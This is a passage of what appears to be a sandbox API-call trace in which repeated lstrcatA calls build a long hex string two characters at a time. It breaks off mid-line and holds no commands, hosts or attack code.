	[0061.652] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e", lpString2="69" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e69") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e69"
	[0061.652] GetLastError () returned 0x0
	[0061.652] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e69", lpString2="14" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e6914") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e6914"
	[0061.652] GetLastError () returned 0x0
	[0061.652] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e6914", lpString2="30" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430"
	[0061.652] GetLastError () returned 0x0
	[0061.652] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430", lpString2="a9" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a9") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a9"
	[0061.652] GetLastError () returned 0x0
	[0061.653] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a9", lpString2="7c" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97c") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97c"
	[0061.653] GetLastError () returned 0x0
	[0061.653] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97c", lpString2="fb" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb"
	[0061.653] GetLastError () returned 0x0
	[0061.653] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb", lpString2="17" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb17") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb17"
	[0061.653] GetLastError () returned 0x0
	[0061.653] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb17", lpString2="79" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb1779") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb1779"
	[0061.653] GetLastError () returned 0x0
	[0061.653] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb1779", lpString2="04" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904"
	[0061.653] GetLastError () returned 0x0
	[0061.653] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904", lpString2="cd" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd"
	[0061.653] GetLastError () returned 0x0
	[0061.653] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd", lpString2="8a" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8a") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8a"
	[0061.653] GetLastError () returned 0x0
	[0061.653] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8a", lpString2="b6" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab6") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab6"
	[0061.653] GetLastError () returned 0x0
	[0061.653] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab6", lpString2="7c" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c"
	[0061.653] GetLastError () returned 0x0
	[0061.653] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c", lpString2="0a" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0a") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0a"
	[0061.653] GetLastError () returned 0x0
	[0061.653] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0a", lpString2="b6" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab6") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab6"
	[0061.653] GetLastError () returned 0x0
	[0061.653] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab6", lpString2="14" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614"
	[0061.654] GetLastError () returned 0x0
	[0061.654] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614", lpString2="b6" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6"
	[0061.654] GetLastError () returned 0x0
	[0061.654] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6", lpString2="12" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b612") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b612"
	[0061.654] GetLastError () returned 0x0
	[0061.654] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b612", lpString2="98" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b61298") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b61298"
	[0061.654] GetLastError () returned 0x0
	[0061.654] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b61298", lpString2="33" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833"
	[0061.654] GetLastError () returned 0x0
	[0061.654] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833", lpString2="de" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833de") 